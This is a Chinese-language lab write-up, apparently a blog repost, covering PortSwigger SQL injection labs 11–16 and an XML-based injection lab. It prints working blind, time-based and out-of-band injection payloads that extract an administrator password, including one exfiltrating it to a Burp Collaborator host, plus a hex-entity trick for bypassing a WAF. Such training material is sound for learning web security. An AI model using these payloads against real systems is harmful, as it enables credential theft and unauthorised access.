【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

简介: 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

心得:观察回显的不同(先看字节数)


实验11:带条件响应的SQL注入


part1:

加上

' AND 1=1--

367a3c25c2284f01857013081a7cc610.png


' AND 1=2--


少了一个欢迎回来,而且字节数也少了

说明存在注入点

f126950bf4dc4c78ad55a010689b9695.png


part2:

判单是否存在users表


1. ' AND (SELECT 'a' FROM users LIMIT 1)='a'--
2. 
3. (存在)


a5e40017eddc43eeb7918175f5410adf.png


判断是否存在administrator用户


1. ' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--
2. 
3. (存在)

401f6244e85243e88e186ad6242c91e9.png


判断密码长度


1. ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
2. 
3. (直接跑一下)


86091342c2db4198b09852b3d73cc104.png


46934563f62544d49521ba9554bef686.png



到数字20的时候就不成立了

说明密码有20位


00827bb6f55b487f979b728a01036cab.png


爆破每一个字符的值


' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--

54ab057745154f53861a42a260e85279.png


payload1:

1a3409e0dda645a5bfef03a5bd63cbb4.png

payload2:

8e4ec26709f14fd1bc1eaad664e7d9f3.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

11d0487798d245fe9ae64ae984032d63.png


98l1jlxbm80mk8dfnpmk


part3:

登陆

心得:通过条件判断执行对应语句


实验12:条件判断SQL注入


part1:

单引号报错

baa364e69cea4a87ad6cdd80b3ed9acf.png

2个单引号就正常了

(存在注入点,且为单引号闭合)

37e2465ae41648e281f54b670d2e7682.png

判断数据库类型


1. ' || (select '') || '
2. 
3. (报错,不是MySQL)

d74e12518154489d9ce48e02e85f8f6d.png


'||(SELECT '' FROM dual)||'
(未报错,可能是Oracle数据库)

6aa66f86a6f449ed843fcd12663c0289.png

(再次证明其他无关性,换一个不存在的表报错)

78f2f2e90b65489d8939f69a18ffa83b.png


part2:


1. '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
2. 
3. (rownum=1 防止查询的时候返回多行)

b97a228e0163480aae533f654a1d83b3.png


再用类似上一个实验一样的方法,猜表、用户名,爆破密码


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
(when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)

cf9ce97bf1af43ada92d5d3cc7ea3681.png


判断是否存在administrator用户


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
(用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)

793cbb14375c4ee897bbc8b5b66982e0.png


判断密码位数


'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


d3e8f6fb51f1445ea7b14929597ae0a9.png


cb422028fe564d6085fc72207d88e97c.png


到20的时候就返回200状态码了,说明密码长度为20位

c60ade40bdb145a4a4ce1bc028954902.png


爆破密码


'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

 

34d5aef0e2b94a169ffc821a668ed79f.png


payload1:

cbc046631f02404591bebcb87ff53a28.png


payload2:


755f643a16ce4e86b233988214c2f0a4.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

c3bcfc16efb3495ea1b352becc46103d.png


e8q11s15y9pc8z5b2n78


part3:

登陆


心得:拼接时间延迟函数


实验13:时延盲注


'||sleep(10)--



(几乎没什么时延,不是MySQL数据库)

4841cbd5914e4f048df7210ab635ca05.png


'||pg_sleep(10)--


(时延10s)

10f3e7b8a00d46b7aca1a63a2538ad51.png


心得:通过条件判断语句运行不同的命令


实验14:时延SQL注入


part1:

验证时延语句

1. '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
2. 
3. (延迟10s)

6ad2b85dc6144b45af390a8c7b9ef3ce.png


'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
(几乎无延迟)

eb2be880a0eb4bacaf4ae5dae4bcfc3d.png


判断用户administrator是否存在


'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(延迟10s,说明为ture,即存在)


0a8da550cef14a6390f40923e6609cac.png


判断密码长度


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

结果肯定是20位


爆破密码


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_

da8d35a19c4c4407be5a0f94ba53a371.png


9eac6a310eaa44568ab39b056d61611c.png


30f5416e08274e83b0bb821d9514a6a0.png

结果:


勾选上时间


a52ad254d36c4ff6b8976f61fb9d05fa.png

e7475dfdd30c42aa9d08c997544ded08.png


(我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)

nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)


重新设6s

4492c60a786644738c196a4436cc3002.png


ndkt1iyvkal1svdw0omr(ok了)


part3:

登陆

心得:拼接后将数据带外回显


实验15:带外技术


part1:

e5bde17a05e7485db0013142c1d8e7fa.png

复制后,修改http://后面


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

d1983e90a552407884b3d06b4eaa07ff.png


part2:

1a9236a2b32b44e284dc73ad8e8bab97.png

34468bfcbe2d43b4bd5192098883d6ad.png


心得:拼接将数据带外回显


实验16:带外SQL注入


part1:


8aae30e778b94291b79b01f7d21f637d.png


(将划线部分替换为自己的,注入语句夹在了http头和URL之间)


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

part2:


6f8f8fa7ff844b2d9b366ffbd8b8b005.png

3f9055d4dce74defbdb8cd0bb15bdaa6.png


前面这个就是带出的密码


73d777c3da73448b8b5d44845fd88c80.png

part3:

登陆



六、其他类型SQL注入


心得:各种类型与数据库有关的数据交互

示例:
可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击
如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。
这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。
如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
将在传递给 SQL 解释器之前在服务器端解码
漏洞识别:
1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。
2、将POST /product/stock请求发送到bp中继器。
3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如:
<storeId>1+1</storeId>
4、观察您的输入似乎由应用程序评估,返回不同商店的库存。
5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT
<storeId>1 UNION SELECT NULL</storeId>
6、请注意,请求由于被标记为潜在攻击而被阻止。
绕过 WAF:
1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。
2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。
漏洞利用:
1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。
2、由于只能返回一列,因此需要连接返回的用户名和密码,例如:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~
4、使用管理员的凭据登录并解决实验室问题


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
24天前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
48 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
26天前
|
SQL 安全 数据库
|
1天前
|
SQL 存储 安全
SQL视图实验:创建、查询与管理技巧
在数据库管理系统中,视图(View)是一个虚拟表,其内容由查询定义
|
23天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
46 0
|
24天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
35 1
|
24天前
|
SQL 安全 前端开发
Web安全新纪元:Python如何筑起SQL注入、XSS、CSRF的铜墙铁壁?
【7月更文挑战第26天】在Web开发中,安全性至关重要。Python提供强大工具来抵御SQL注入、XSS和CSRF等威胁。使用ORM如Django和SQLAlchemy可防SQL注入; Django等框架自动转义输出防XSS; CSRF通过自动及手动验证令牌来阻止。开发者须持续学习最新安全实践以保护用户数据。迈向Web安全新纪元,Python助你一臂之力。
26 1
|
23天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
36 0
|
23天前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
44 0
|
23天前
|
SQL 安全 数据库
守护Web世界的和平使者:Python Web安全基础,从认识SQL注入、XSS、CSRF开始!
【7月更文挑战第27天】在数字世界里,Web应用如星辰照亮信息交流,但也潜藏安全隐患:SQL注入、XSS与CSRF。SQL注入让攻击者操控数据库;通过参数化查询可防御。XSS允许执行恶意脚本;确保输出编码至关重要。CSRF诱骗用户发送恶意请求;使用CSRF令牌能有效防护。作为开发者,掌握Python Web安全基础,如Flask和Django的安全特性,能帮助我们守护这片数字天地的和平与繁荣。
25 0